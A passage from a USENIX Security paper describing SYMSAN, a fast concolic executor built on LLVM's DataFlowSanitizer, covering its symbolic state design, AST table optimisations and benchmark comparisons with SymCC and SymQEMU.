checking symbolic expressions. The overall architecture of
SYMSAN is shown in Figure 1. 1 SYMSAN takes a compiled
LLVM IR as input and instruments the code via a compiler
pass. SYMSAN’s run-time 2 is then linked with the instru-
mented program to form the final binary. During run-time,
the symbolic state (which can be viewed as an abstract syntax
forest) 3 of all program variables is then populated according
to the symbolic execution policy. At points of interest (e.g.,
conditional branches), 4 SYMSAN constructs the symbolic
formulas of the path constraints, asks an SMT solver to check
their feasibility, and generates new test inputs for feasible
branch targets.

A Running Example. Figure 2 shows a running example
illustrating how SYMSAN instruments a target program. This
program takes two arguments as inputs and returns a boolean.
The first argument is an integer pointer (int *a), and the
second argument is an integer (int b). The function first cal-
culates the product of two integers provided by the inputs
((*a) * b). Then it compares the product with 100. If the
product is greater than 100, the function returns true; other-
wise it returns false. We deliberately make the first argument
a pointer to show how SYMSAN accesses shadow memory.

Line 11 - 48 of Figure 2 shows the instrumented ver-
sion of the function. Recall that given an instruction like
%4 = mul %3, %1, the core logic of concolic execution con-
sists of three operations:
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• Load: Locate the symbolic expressions corresponding to
%3 and %1 from the symbolic state.

• Creation: Create a new symbolic expression of that repre-
sent the expression mul %3, %1.

• Store: Bind the new symbolic expression to %4.

Next, we describe how these steps are done in SYMSAN.
At Line 14, SYMSAN loads the label of b, which represents

a unique symbolic expression (more details in §3.3), from the
thread-local storage (TLS). Line 16 - 20 shows how SYMSAN
loads the label of *a. It first uses the original address (%0) to
calculate its corresponding shadow address (%8) through a
fixed mapping scheme (i.e., the shadow address from Address
Sanitizer [42]), then directly loads the label from the shadow
address. Next, it creates a (new) symbolic expression (%14)
by passing the two source labels (%9 and %4) and the operator
(MUL) to the runtime function. Because the product of the
inputs ((*a) * b) is temporary, its corresponding label (%14)
will not be permanently stored. Instead, SYMSAN will record,
at compile-time, that the label of %11 is %14. Later, when the
product is used in the comparison (Line 35), SYMSAN can
directly pass %14 to the runtime function to create the label
(%17) corresponding to the comparison result (%15). Finally,
to pass the label of the return value, SYMSAN stores its label
in TLS.

In summary, SYMSAN uses labels to represent symbolic ex-
pressions, which are stored and retrieved as (i) local (shadow)
variables, (ii) thread-local storage, (iii) shadow memory, and
(iv) additional arguments (described later). Labels are con-
structed through a runtime function _taint_union. In the
next subsection, we explain how SYMSAN optimizes these
operations.

3.2 Symbolic State Access

In this subsection, we explain how SYMSAN reduces the
performance overhead for storing and retrieving symbolic
expressions by comparing it to the closest state-of-the-art tool
SymCC [36].

Symbolic Expression Representation. In SymCC, a sym-
bolic expression is either a pointer(usually 64 bits in 64-bit
systems) points to a Z3 abstract syntax tree (AST) node (when
the simple backend is configured), or points to a QSYM AST
node. In SYMSAN, a symbolic expression is a 32-bit label,
which is an index to our AST Table (§3.3).

Arguments and Return Value. In SymCC, the sym-
bolic expressions for arguments are passed through a
globalstd::array. Similarly, symbolic expressions for return
values are passed through a global variable. Consequently, it
requires multiple function invocations as well as additional
overhead imposed by the C++ container. In addition, this
design also limits current SymCC implementation to single-
thread programs.

In SYMSAN, labels are passed in two different ways, which
are inherited from the DFSAN framework. As shown in Fig-
ure 2, the first way is through the per-thread thread-local
storage (TLS). Accessing TLS is very fast, and usually only
requires a single instruction. For example, on x86, retrieving
the label for argument b can be done by a single mov instruc-
tion:

; %4 =load i32,getelementptr(@__dfsan_arg_tls, 1)
movq __dfsan_arg_tls@GOTTPOFF(%rip), %rax

The second way is to introduce additional arguments. For
instance, the wrapper functions for implementing custom sym-
bolic expression constructions for standard C library use ad-
ditional shadow arguments for each original argument, and a
special return label argument:

SANITIZER_INTERFACE_ATTRIBUTE size_t
__dfsw_fread(void *ptr, size_t size,

size_t nmemb, FILE *stream,
dfsan_label ptr_label,
dfsan_label size_label,
dfsan_label nmemb_label,
dfsan_label stream_label,
dfsan_label *ret_label)

Either way, when symbolic expressions are propagated
between functions, SYMSAN is more efficient.
Shadow Memory. For variables stored in memory, most
concolic executors use shadow memory to store their labels.
To retrieve symbolic expressions from the shadow memory,
a CE first needs to convert the original address (a) to its cor-
responding shadow address. As memory accesses (i.e., load
and store) are very frequent, the speed to perform such trans-
lation is critical. In SymCC, shadow memory is implemented
in a two-tier mapping. Given an address addr, it first uses
its page-level address to retrieve the corresponding shadow
page through a std::map. Once the shadow page is retrieved,
the shadow address is calculated by adding the page offset of
addr:

std::map<uintptr_t, SymExpr *> g_shadow_pages;
SymExpr* getShadow(uintptr_t addr) {
return g_shadow_pages[addr & ~0xfffL]

+ (addr & 0xfffL);
}

Due to the lookup through std::map, the search complexity
is O(log(n)).

Because shadow memory is also used by dynamic taint
analysis (DTA) tools, they have spent significant efforts to
reduce the overhead. So far, the most efficient approach is to
use direct mapping, which offers constant time (O(1)) lookup.
SYMSAN uses the direct mapping shadow memory from the
sanitizer family [42]. Specifically, given an address addr, its
shadow address is calculated as:

dfsan_label *shadow_for(uptr addr) {
return (ptr & ShadowMask()) << 2;

}
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In summary, SYMSAN provides much faster shadow memory
access.
Shadow Variables. Both SymCC and SYMSAN use compile-
time instrumentation at the LLVM-IR level. Therefore, they
enjoy the freedom of introducing additional local variables,
which is not feasible for binary-level CEs like QSYM and
SymQEMU. Leveraging this advantage, they both use lo-
cal shadow variables to store symbolic expressions for local
variables. Using shadow variables has two main advantages.
First, the mapping and lookup are maintained at compile-time,
so accessing shadow variables will not introduce additional
runtime lookup overhead. Second, it allows compile-time op-
timizations to remove redundant (stack and shadow memory)
accesses. For example, in Figure 2, the product’s shadow vari-
able (%14) can be directly used to construct the symbolic ex-
pression of the return value, without storing and loading from
the stack. In summary, both SymCC and SYMSAN provide
optimal access to symbolic expressions of local variables.
Summary. Based on the above analysis, we can see that by
leveraging the highly-optimized infrastructure from DFSAN,
SYMSAN can significantly reduce the overhead of storing and
retrieving symbolic expressions. Moreover, SYMSAN uses a
more concise representation for symbolic expressions.

3.3 Symbolic Expression Management
In this subsection, we describe how SYMSAN allocates and
stores symbolic expressions in detail. State-of-the-art CEs
represent symbolic expressions as memory objects or, more
precisely, abstract syntax trees (AST). These tools will dy-
namically allocate a new AST node and populate it based on
the source operand(s) to create a new symbolic expression.
For example, SymCC [36] offers two different forms of AST.
When the simple runtime is configured, SymCC directly uses
the AST nodes from Z3. When the QSYM runtime is config-
ured, SymCC uses the AST nodes from QSYM. To ease the
memory management, Z3 AST nodes use a reference counter
to track living references, while QSYM uses smart pointers
std::shared_ptr to track living references. Because heap
allocation is costly and reference tracking is not free, based
on our performance profiling, SymCC spends a considerable
amount of time on just allocating (∼3%) and tracking AST
nodes (∼28%).

To reduce the overhead of allocating, tracking, and access-
ing symbolic expressions, SYMSAN uses an AST table (i.e.,
an array of AST nodes) to store symbolic expressions. Our ob-
servation is that, during dynamic testing (e.g., hybrid fuzzing),
because fuzzing throughput has a big impact on the overall
fuzzing performance, existing fuzzers all prefer smaller in-
put files [3] and will actively minimize the input files (e.g.,
afl-min). As a result, when processing these small input files,
we need to worry too much about memory leaks (e.g., as
shown in Figure 5, most concolic execution processes last
less than 1 second). Therefore, we organize AST nodes in an

array and perform simple forward allocation to allocate new
AST nodes.

struct dfsan_label_info {
dfsan_label l1;
dfsan_label l2;
u64 op1;
u64 op2;
u16 op;
u16 size;
u32 hash;

} __attribute__((aligned (8), packed));

Figure 3: AST node of SYMSAN.

AST Nodes. Figure 3 shows the AST node design of
SYMSAN. Each AST node support at most two child nodes
(l1 and l2). If a child node is symbolic, its corresponding la-
bel will be non-zero, which refers to a subtree. As mentioned
above, in SYMSAN, labels are indices in the AST table (ar-
ray). If a child node is concrete (i.e., not symbolic), its label
will be 0, and the corresponding concrete value will be stored
in the data fields (op1 and op2). op stores the operator over the
subtree(s). size stores the size of operand(s) in bits. hash is a
hash value of the tree, which is used for deduplication (§3.4).
To make it easier to share symbolic expressions, we use the
packed attribute to prevent the compiler from re-ordering the
fields.

AST allocation. SYMSAN uses a simple forward allocation
strategy to allocate new AST nodes. Specifically, SYMSAN
preserves large enough consecutive virtual addresses (see Ta-
ble 1) for the AST table during initialization. To allocate a
new node, it tracks the last label previously allocated (i.e., the
largest array index in use) and performs an atomic_fetch_add
to update the last label. This allows SYMSAN to allocate
a new AST node with a single instruction. The use of
atomic_fetch_add also allows SYMSAN to support multi-
thread programs.

3.4 Additional Optimizations

Although using simple forward allocation is fast, we can
quickly exhaust the fixed size AST table if we blindly al-
locate new AST nodes every time _taint_union is invoked.
To address this issue, we designed some optimizations to re-
duce the size of the consumed AST table entries and improve
SYMSAN’s memory efficiency.

Deduplication. The first obvious strategy to reduce the num-
ber of allocated AST nodes is deduplication. Before allocating
a new AST node, we will check if an identical node already
exists. If so, we will reuse the existing one instead of allocat-
ing a new node. This is done through a reverse lookup table.
In particular, SYMSAN uses a hash table to map AST nodes
back to their labels. Whenever two labels need to be merged,
SYMSAN first queries the hash map to see if it had recorded
the corresponding label for the potentially new AST node
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(l1, l2,op1,op2,op,size). If so, it reuses the label returned by
the hash map; otherwise, it allocates a new label (AST node).

Because the lookup process involves checking whether two
AST nodes are identical and our AST nodes are not small,
such comparison could be expensive. Therefore, we need
a faster way to check whether two nodes are identical. We
use a hash table implementation with chaining to resolve
collisions for simplicity. This also requires us to apply a good
hash algorithm to avoid frequent collisions. We adopted the
Merkle hash tree to meet these requirements. Specifically,
each AST node has a hash, which is calculated as follows:
• If the node is a leaf node (i.e., an input byte), its has equal

to its label.

• If the node is an intermediate node, its hash is calculated
based on its child nodes.

• If a child node is a concrete value, its hash is 0.
With this hash value calculated for each AST node, when

checking if two AST nodes are identical, we will first check
if their hash values match; if not, we do not need to check
the rest fields. This hash value is also used to access the hash
table slot.

Finally, hash table entries are also allocated using a simple
forward allocator. To better support multi-thread programs,
we also adopted a lock-free implementation.

Load and Store Simplification. In traditional concolic exe-
cution, both load and store operations work at byte granular-
ity. As a result, loading data larger than one byte will involve
several concat operations; and storing data larger than one
byte will result in several extract operations.

For example, consider a simple assignment statement with
two 32-bit integers: x = y, where y is symbolic. When the
load operation is recorded at the byte granularity, SYMSAN
needs to create three new AST nodes to concatenate the four
individual bytes. To make the matter worse, when storing
Lx back to memory, SYMSAN needs to create an additional
four AST nodes to extract individual bytes from the symbolic
expression.

In order to increase the label space utilization and simplify
the symbolic expressions, SYMSAN implements additional
optimizations for load and store operations. First, SYMSAN
uses a special operator uload to express loading a sequence
of bytes:

label := (uload, lstart ,size,size)

where Lstart represents the label of the first byte and size
indicates how many bytes are loaded. When handling a load
operation, SYMSAN will first check if the uload operation is
applicable (i.e., reading a consecutive of input bytes) before
falling back to the concat way. Second, when handling store
operations, if the label is a result of uload operation, SYMSAN
will directly extract labels of the corresponding bytes from
the uload operation.

3.5 Interactions with External Libraries
Similar to DFSAN, SYMSAN provides two ways to support
external libraries. First, we can instrument the dependent li-
braries using SYMSAN, and statically link it with the target
program. Most of the Fuzzbench programs we evaluated in §5
follow this way. For libraries that cannot be instrumented,
such as glibc, we use custom wrappers to implement special
label propagation rules. Using a custom wrapper also simpli-
fies the symbolic expressions based on domain knowledge.
Label Introduction. SYMSAN introduces symbolic labels
where test inputs are read. For instance, if the underlying
fread operation is successful, we will mark bytes in the output
buffer as symbolic input bytes, based on their offsets from the
beginning of the test input file.
Label Propagation. SYMSAN also uses custom wrapper
functions to implement special propagation rules. Two typical
examples are memcpy and memcmp. In memcpy, besides copying
the concrete data from the source buffer to the destination
buffer, SYMSAN also needs to propagate labels corresponding
to the data in the source buffer to the data in the destination
buffer. As memcmp is frequently used to check against magic
numbers or keywords, we introduced a special higher-order
operator f memcmp to symbolize the return value of memcmp.
Later, if the return value is used in a conditional branch, we
can reconstruct the corresponding formula (e.g., bytes in the
first buffer must equal the bytes in the second buffer).

4 Implementation

In this section, we reveal some implementation details of our
SYMSAN. SYMSAN is implemented based on the data-flow
sanitizer (DFSAN) [46], which is part of the LLVM compiler
toolchain.

Table 1: Memory layout of the program for taint analysis.

Start End Description

0x700000040000 0x800000000000 application memory
0x400010000000 0x700000020000 ast table
0x400000000000 0x400010000000 hash table
0x000000020000 0x400000000000 shadow memory
0x000000000000 0x000000010000 reserved by kernel

Memory Layout. SYMSAN uses directly mapping shadow
memory to store labels of program variables stored in mem-
ory. Achieving this goal requires 64-bit address space and a
special memory layout. Table 1 shows the memory layout of
an instrumented program.

To enforce this memory layout, we wrote a linker script
to restrict the application memory range, which can avoid
colliding with other designated regions. Once the program
starts, the runtime library of SYMSAN reserves the designated
regions, so the OS kernel will not allocate virtual addresses
within these regions to the application.
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Note that although the preserved regions are enormous, the
OS kernel will not map physical pages to the addresses until
needed.

Label Introduction. To assign labels to input bytes,
SYMSAN instruments file-related functions. In our current
prototype, we only support symbolic data from an input file
and stdin; symbolic data from the network is not supported
yet but can be easily extended. When the program opens a file
that should be symbolized, SYMSAN calculates the size of
the file and reserves the input label entries. When the program
reads from the file, SYMSAN calculates the offset (within the
file) and the size to be read and assigns the corresponding
labels to the target buffer that receives the read bytes.

Currently, the following functions are supported: getc,
fgetc, gets, fgets, read, fread, pread, getline, getdelim.

Label Propagation. Our label propagation policies are al-
most identical to DFSAN, the only difference is that when
combining two labels, we will construct symbolic expressions.
The following (bitvector) operations are supported:

• Bit-wise operations: bvnot, bvand, bvor, bvxor, bvshl,
bvlshr, bvashr;

• Arithmetic operations: bvneg, bvadd, bvsub, bvmul, bvudiv,
bvsdiv, bvurem, bvsrem;

• Truncation and extension: bvtrunc, bvzext, bvsext;

In our current prototype, we do not support floating point
and vector operations, for a fair comparison with SymCC [36]
and SymQEMU [37], which also do not support non-integer
operations. We also do not support the intrinsic functions of
LLVM IR.

Label Checking. In our current prototype, we consider br
and switch instructions as data-flow sinks (i.e., coverage-
oriented). For br instruction, SYMSAN checks whether it
is conditional; if so, whether its condition is symbolic. For
switch instruction, SYMSAN treats each case as a compari-
son between the condition variable and the case value. For
branch targets controlled by symbolic values, SYMSAN will
generate new test inputs for branch target(s) other than the
concrete one.

Symbolic Addresses. In our current prototype, we use the
same strategy as QSYM [48] and SymCC [36] to handle
symbolic addresses. Specifically, SYMSAN will (1) generate
new test inputs to visit other possible addresses; and (2) bind
the symbolic address in the current execution trace to its
concrete value to ensure correctness.

Nested Branches. One particular challenge when solving
path constraints is that solving a single branch predicate alone
is insufficient. In our current prototype, we use QSYM’s [48]
approach to identify nested branches based on data dependen-
cies: finding all precedent branches whose input bytes overlap
with the current branch. This strategy is also used by SymCC
and SymQEMU.

Supporting run-time libraries. SYMSAN cannot perform
label propagation correctly for code inside an uninstrumented
library due to source-code-based instrumentation. For the
standard C library, we implemented custom wrapper func-
tions to propagate labels. For the standard C++ library, we
instrumented libc++ from LLVM.

Hybrid Fuzzer. We also implemented a hybrid fuzzer to
evaluate SYMSAN in the end-to-end fuzzing. Overall, our
hybrid fuzzer follows the same cross-seeding design as pre-
vious hybrid fuzzers [21, 30, 45, 48]. Specifically, SYMSAN
maintains its own FIFO seed queue and a global coverage
bitmap. SYMSAN periodically synchronizes the seeds from
the fuzzer’s queue. Each time, SYMSAN fetches a seed in the
FIFO queue, executes the seed symbolically and generates
new inputs. If the generated inputs cover new code, they are
added back to the seed queue. For a fair comparison, we use
the same branch filters as SymCC [36], so both tools will
roughly flip the same amount of branches.

5 Evaluation

In this section, we evaluate the performance of SYMSAN to
answer the following research questions.
• RQ1: Time efficiency. Does SYMSAN impose less run-

time overhead than the state-of-the-art CEs for maintaining
the symbolic state? If so, by how much?

• RQ2: Space efficiency. Does SYMSAN use less memory
than the state-of-the-art CEs? If so, by how much?

• RQ3: Effectiveness. Can test cases generated by SYMSAN
achieve the same or higher code coverage than the state-of-
the-art CEs?

• RQ4: End-to-end fuzzing. Can SYMSAN improve the
performance of end-to-end hybrid fuzzing?

• RQ5: Security impacts. Can SYMSAN improve the per-
formance of bug finding?

Experimental Setup. All our evaluations were performed
on a server with an Intel(R) Xeon(R) E5-2683 v4 @ 2.10GHz
(40MB cache) and 512GB of RAM, running Ubuntu 16.04
with Linux 4.4.0 64-bit.

Baseline. We mainly evaluate SYMSAN against two state-of-
the-art CEs: SymCC [36] and SymQEMU [37]. We believe
the comparison with SymCC is especially meaningful as both
CEs perform compile-time instrumentation at the LLVM IR
level, and use Z3 as the constraint solver. For hybrid fuzzing,
we include the state-of-the-art fuzzer AFL++ [20] for com-
parison.

5.1 Dataset

Standard Benchmark. We choose nbench [32] to evaluate
the instrumentation overhead of SYMSAN and baseline CEs.

2538    31st USENIX Security Symposium USENIX Association



Table 2: Performance results for pure concrete execution on
NBENCH

Tests (Iterations/s) Native SYMSAN SymCC SymQEMU

NUMERIC SORT 1958 170.26 30.044 15.153
STRING SORT 2425.5 717.2 1.2361 1.2757
BITFIELD 8.76e+08 3.72e+07 1.06e+07 5.34e+06
FP EMULATION 1104 42.952 17.019 4.9317
FOURIER 71699 67760 8958.3 261.54
ASSIGNMENT 99.488 3.6895 0.96664 0.28006
IDEA 17358 572.91 280.11 85.503
HUFFMAN 5969.2 305.26 82.372 32.832
NEURAL NET 158.68 7.428 0.66788 0.17407
LU DECOMPOSITION 3785.3 149.1 26.15 8.4286

Score Index

Memory Index 80.272 6.218 0.315 0.167
Integer Index 53.834 2.632 0.828 0.298
Floating-point Index 88.594 10.661 1.362 0.184

We did not use SPEC CPU benchmark because its test inputs
are too large for evaluated CEs—they all run out of memory.

DARPA Cyber Grand Challenge. CGC programs remove
the use of system calls, enabling a fair comparison between
source-based and binary-based concolic executions tools and
are widely used in the evaluation of state-of-the-art CEs [36,
37, 48]. We follow the same evaluation procedure as previous
work, we used PoVs (proofs of vulnerability) as inputs for
evaluation. We excluded programs that require inter-process
communication and programs on which baseline CEs failed
to generate inputs.

Real-world Programs. We evaluated 23 real-world pro-
grams shown in Table 5. 16 programs are from Google’s
Fuzzbench [24], 4 programs are from binutils.

Inputs Selection. To obtain the test inputs for real-world
applications, we used AFL++ to fuzz the target programs for
24 hours and obtained the generated seeds as test inputs. To
avoid bias toward repetitively executed code paths, we used
the utility cmin from AFL++ to prune the seed corpus. For
bintuils, we used the publicly available seed corpus from [43]
for better reproducibility.

5.2 Performance
The performance overhead of an instrumentation-base con-
colic executor can be classified into the following four cate-
gories, which we evaluated separately.
• Instrumentation. The overhead from additional code in-

jected to the target program.

• Symbolic state access. The overhead for accessing the
symbolic expressions correspond to program variables.

• Symbolic state management. The overhead for creating
and updating symbolic expressions.

• Constraint solving. The overhead from consulting an SMT
solver.

5.2.1 Pure Concrete Execution

We ran programs in nbench [32] natively (without instru-
mentation), and with instrumentation of different concolic
executors. When running the programs (pinned to a dedicated
CPU core) with concrete inputs, the concolic executors will
not invoke its symbolic backend. In this way, we can mea-
sure the instrumentation overhead of each concolic executor.
Table 2 reports the results. Compared to native execution,
SYMSAN is 12.9× slower on memory index, 20.5× slower
on integer index, and 8.35× slower on the floating-point in-
dex. SymCC and SymQEMU are much slower than SYMSAN.
SymCC is 254.8× slower on memory index than native exe-
cution, 65.0× slower on integer index, and 65.0× slower on
the floating-point index. SymQEMU is 480.7×, 180.7×, and
481.5× slower than native execution, respectively. We also
noticed that SYMSAN performed much better than SymCC
on the memory index. We believe this is due to the direct-
mapping-based shadow memory scheme used by SYMSAN.

5.2.2 Pure Taint Propagation

In this experiment, we measure the performance overhead
of pure symbolic state accesses. To do so, we disabled the
real creation and storage of symbolic expressions; instead, we
“simulate” the creation of new symbolic expressions by simply
returning a new label for SYMSAN, and a new expression
pointer (cast from an increasing integer) for SymCC. This
comparison shows the benefit of SYMSAN’s shadow memory
implementation.

CGC. Following the same procedure as the previous pa-
pers [36, 37, 48], we used the first PoV input to test each
CGC challenge. We enforced the same 5-minute timeout for
each execution as [48] for easier comparison with the numbers
reported in previous papers. The results are shown in Figure 4.
Compare to native execution, SYMSAN (SymSan-Taint) has
1.3 times slowdown and SymCC (SymCC-Taint) has 4.9 times
slowdown in average execution time. In the metric of me-
dian execution time, SYMSAN has 1.8 times slowdown and
SymCC has 127.1 times slowdown.

Real-world applications. For real-world applications, we
collected the overall running time for every concolic execu-
tor executing all seeds. The results are shown in Figure 5.
Overall, in the metric of average execution time, SYMSAN
(SymSan-Taint) introduces 3.7 times overhead compared to
the native execution, while SymCC (SymCC-Taint) introduces
18 times overhead. In the metric of median execution time,
the numbers are 2.25 times and 4.5 times respectively for
SYMSAN and SymCC.

Both experiments show that SYMSAN’s sanitizer-based
shadow memory implementation is much faster than
SymCC’s.
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Figure 4: Execution time of 102 CGC challenge binaries, using the first PoV as inputs. The figure is drawn in logarithmic scale. SymSan-Taint
and SymCC-Taint measure pure symbolic state access overhead (§5.2.2). SymSan-NS, SymSan-QSYM-NS, SymCC-NS, and SymQEMU-NS
measure the concolic execution overhead without solving (§5.2.3). SymSan, SymCC, and SymQEMU measure the full-fledge concolic
execution overhead (§5.2.4).
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Figure 5: Execution time for the real-world programs. The figure is drawn in logarithmic scale. SymSan-Taint and SymCC-Taint measure pure
symbolic state access overhead (§5.2.2). SymSan-NS, SymSan-QSYM-NS, SymCC-NS, and SymQEMU-NS measure the concolic execution
overhead without solving (§5.2.3). SymSan, SymCC, and SymQEMU measure the full-fledge concolic execution overhead (§5.2.4).

5.2.3 Concolic Execution without Solving

In this section, we evaluate the performance of concolic execu-
tors without solving. Overhead measured in this experiment is
an accumulation overhead of instrumentation, symbolic state
access, and symbolic state management. To better reflect the
benefit of SYMSAN’s AST table, we included a configuration
SYMSAN-QSYM that uses the same shadow memory imple-
mentation to access symbolic expressions, but uses QSYM’s
backend to manage symbolic expressions (i.e., the same as
SymCC and SymQEMU). The ablation study for the two
additional optimizations presented in §3.4 is in Appendix.
Overall, constraint deduplication improved the performance
by 16% and load/store simplification added another 6% speed
up on top of deduplication.

CGC. We used the same procedure as described above. The
execution time for each program is visualized in Figure 4. In
the metric of average execution time, SYMSAN (SymSan-NS)
is 1.36 times slower than the native execution, and SYMSAN
with QSYM backend (SymSan-QSYM-NS) is 1.37 times slower.
Since each CGC program is only run for 5 minutes with a
single input, the performance difference between SYMSAN’s
AST table and QSYM’s backend is not very large. In compar-
ison, SymCC (SymCC-NS) and SymQEMU (SymQEMU-NS) are
5.3 and 7.2 times slower than SYMSAN respectively. In the
metric of median execution time, the numbers are 146 and
301 times respectively for SymCC and SymQEMU.

Real-world applications. The overall running time for every
concolic executor executing all seeds is presented in Table 5

(in Appendix). The distribution for inputs that did not timeout
is shown in Figure 5. Note that SymQEMU timeout on all
inputs so it is not shown. Similarly, 75% of inputs timeout
on SymCC, and only 65% of inputs timeout on SYMSAN.
Overall, in the metric of average execution time, SYMSAN
(SymSan-NS) introduces a 17.4× overhead compared to the
native execution, while SymCC (SymCC-NS) and SymQEMU
(SymQEMU-NS) introduce 2243× to 5026× overhead respec-
tively. As a result, SYMSAN achieves 128× performance
speedup over SymCC and 288× over SymQEMU. In the
metric of median execution time, SYMSAN achieves 28× per-
formance speedup over SymCC and 176× over SymQEMU.
In this experiment, as each execution trace is much longer
than CGC’s, SYMSAN’s AST table exhibits much better per-
formance than QSYM’s backend (7.3× speedup), and only
imposes 1.7× overhead over SymSan-Taint (in median exe-
cution time).

5.2.4 Full-fledged Concolic Execution

We enabled constraint solving for each concolic executor and
check if a faster symbolic backend would improve the overall
concolic execution speed.

CGC. We used the same setup for CGC as in the previous
CGC experiment. We collected the execution time for each
program and the result is visualized in Figure 4. As we can see,
SYMSAN is still faster than SymCC and SymQEMU, but its
advantage becomes smaller. This is because constraint solving
takes a significant portion of the overall concolic execution
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Table 3: Execution time of concolic execution engines with solving
(in seconds). SymCC cannot build sqlite3, crashes on 70% of seeds
for libpng, cannot generate any new input for pro j4, and has solving
crashes on all re2 seeds. Coverage is basic-block coverage measured
by SanitizerCoverage.

Program #seeds
Total Execution Time (sec) Basic Block Coverage

SYMSAN SymCC SymQEMU SYMSAN SymCC SymQEMU

readelf 604 27,712 41,695 49,947 7,660 6,067 3,807
objdump 560 43,612 44,052 47,627 4,789 4,668 4,528
nm 249 6,106 14,127 18,628 3,386 2,746 2,755
size 207 3,517 8,920 15,976 2,448 2,198 2,226
libxml2 1952 2,234 51,588 33,172 8,161 8,014 8,022
proj4 770 696 N/A 7,181 4,500 N/A 4,286
vorbis 526 27,476 44,606 45,531 1,396 1,396 1,396
re2 1073 47,536 N/A 37,596 5,139 N/A 5,136
woff2 548 18,432 28,843 45,693 3,454 3,464 3,460
libpng 218 907 N/A 13,781 1,286 N/A 1,283
libjpeg 846 61,672 56,888 59,159 2,754 2,744 2,744
lcms 157 800 3,278 6,545 2,073 2,047 2,106
freetype 4789 245,684 288,627 338,307 16,171 16,013 15,294
harfbuzz 2955 1,472 144,190 196,759 9,536 9,471 9,351
jsoncpp 450 667 3,733 2,584 968 966 941
openthread 268 1,280 1,474 3,562 5,565 5,565 5,533
openssl 1577 48,180 119,786 134,798 11,887 11,900 11,893
mbedtls 491 3,479 29,569 39,968 4,186 4,145 4,140
sqlite3 5253 111,029 N/A 421,947s 32,843 N/A 36,124
curl 1343 501 1,312 102,180s 13,171 13,122 13,140

time, which was also reported in previous work [36].

Real-world applications. For real-world applications, we
placed a 90-second timeout for each execution. Otherwise, the
experiments cannot be completed in a reasonable time. Note
that placing a timeout for each concolic execution is a com-
mon practice adopted by both SymCC and SymQEMU. The
results are shown in Table 3. The execution time distribution
for inputs that did not timeout is shown in Figure 5. As we
can see, with solving enabled, SYMSAN still enjoys a perfor-
mance speedup over SymCC and SymQEMU. But again, the
advantage is smaller compared to concolic execution without
solving.

5.3 Memory Consumption
In this section, we evaluated the memory usage by SYMSAN
and compared it with SymCC, since both are source-based
concolic executors. We chose maximum resident size as the
memory usage metric for each comparison. The visualized
result is shown in Figure 6. As we can see, SYMSAN intro-
duces a much smaller memory overhead than SymCC (3.4×
vs. 82.4×). The result also shows that our AST table is more
memory efficient than the QSYM backend.

5.4 Code Coverage
In this experiment, we compared SYMSAN’ code coverage
with SymCC and SymQEMU on CGC programs and real-
world applications.

CGC. For CGC, we measured the coverage by following the

Native SymSan SymCC-QSYM SymCC

104
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Figure 6: The peak resident size for each concolic execution without
solving. The average memory consumption for native execution is
4.1MB. SYMSAN consumes 14.1MB memory in average, while
SymCC consumes about 337.9MB in average.

method introduced by Yun et al. [48]. For each program, we
used an AFL coverage map to collectively record the coverage
for all generated test cases. For each program, let A be the
coverage map for SYMSAN and B the coverage map for our
comparison target (SymCC or SymQEMU). The difference
between A and B is then calculated as below as per [48]:

d(A,B) =

{ |A−B|−|B−A|
|(A∪B)−(A∩B)| if A ̸= B

0 otherwise
The score will be in the range of [−1.0,1.0], where 1.0

means SYMSAN not only covers all paths that are covered
by other concolic executors but also covers some unique
paths. Our results are visualized in Figure 7. As we can see,
SYMSAN has a similar code coverage as SymCC, it covers
slightly more than SymCC in 83 programs while covers less
in 19 programs.

1.00 0.75 0.50 0.25 0.00 0.25 0.50 0.75 1.00

Figure 7: Coverage score comparing SYMSAN and SymCC per
tested program (102 CGC challenge binaries in total). We re-use the
visualization method introduced in [48]: Blue colors indicate that
SYMSAN found more paths, red colors indicate that that SymCC
found more and white colors indicate equal coverage. A deeper color
indicates a larger coverage difference. SYMSAN performs better on
83 programs and worse on 19 programs.

Real-world Applications. For each real-world application,
We measured the basic-block coverage for all generated in-
puts using SanitizerCoverage [1]. The results are in Table 3.
In most programs, SYMSAN has similar coverage as SymCC
and SymQEMU except sqlite3, where SYMSAN covers sig-
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nificantly less than SymQEMU, this is because SymQEMU
is a binary-based concolic executor and can handle exter-
nal libraries better than SYMSAN. In 18 out of 20 programs
tested, the code coverage by SYMSAN is more than or equal
to SymCC. In the rest of the 2 programs, SYMSAN covers
slightly less than SymCC. In 16 out of 20 programs tested, the
coverage of SYMSAN is more than or equal to SymQEMU.
In the rest of the 4 programs, SYMSAN covers less than
SymQEMU.

5.5 Hybrid Fuzzing

In this evaluation, we plugged SYMSAN into the hybrid
fuzzing scheme to check if a faster concolic executor helps in
the end-to-end fuzzing.

Fuzzbench. We first compared SYMSAN with other popu-
lar concolic executors and fuzzers on Google’s Fuzzbench
dataset [24]. We use AFL++ (commit 70bf4b4 with the de-
fault build and fuzz options2) for hybrid fuzzing. The ex-
periment is conducted by Google on its cloud. Due to the
page limit, we only provide a summary here. The full report
can be retrieved at https://anonymoussubmission2022.
github.io. Out of 12 fuzzers (11 state-of-the-art and 1 from
us), SYMSAN is 1st by average score and by average rank, For
median coverage, SYMSAN leads in 9 programs, and AFL++
only leads in 3 programs.

We also compared SYMSAN’s performance with other con-
colic executors including SymCC [36], SymQEMU [37],
and Fuzzolic [6] based on their publicly available
experiment report3. The merged report can be re-
trieved at https://anonymoussubmission2022.github.
io/symsan. SYMSAN is the first by average score and
third by average rank. We summarized the median cover-
age reached in 24 hours for each concolic executor tool in
Table 4. SYMSAN leads in 7 programs, both SymQEMU and
Fuzzolic lead in 4 programs, and SymCC leads in 3 programs.

Local fuzzing. For programs that are not included in the
Fuzzbench dataset, we conducted hybrid fuzzing in our local
environment. For the baseline, we added AFL++ with commit
70bf4b4 and cmplog enabled. SYMSAN, SymCC [36], and
QSYM [48] used the same hybrid fuzzing configuration as
described in the QSYM’s tutorial: a concolic executor paired
with two AFL (version 2.56b) instances, one master and one
slave. In addition, the concolic executor has a 90-second time-
out for executing each seed. For each concolic executor/fuzzer,
we executed 10 fuzzing trials, each for 24 hours. To ensure
a fair comparison, we use the Fuzzbench’s configuration to
run each fuzzer/concolic executor in a docker container with
1 physical CPU-core assigned.

2https://github.com/google/fuzzbench/blob/master/
fuzzers/aflplusplus/fuzzer.py

3https://www.fuzzbench.com/reports/experimental/
2021-07-03-symbolic/index.html

Table 4: Comparing SYMSAN with other state-of-the-art symbolic
executors based on their publicly available Fuzzbench results. The
metric is median coverage reached in 24 hours. We show the results
of 15 programs where all tools generate valid results. SYMSAN takes
lead in 10 out of 14 programs.

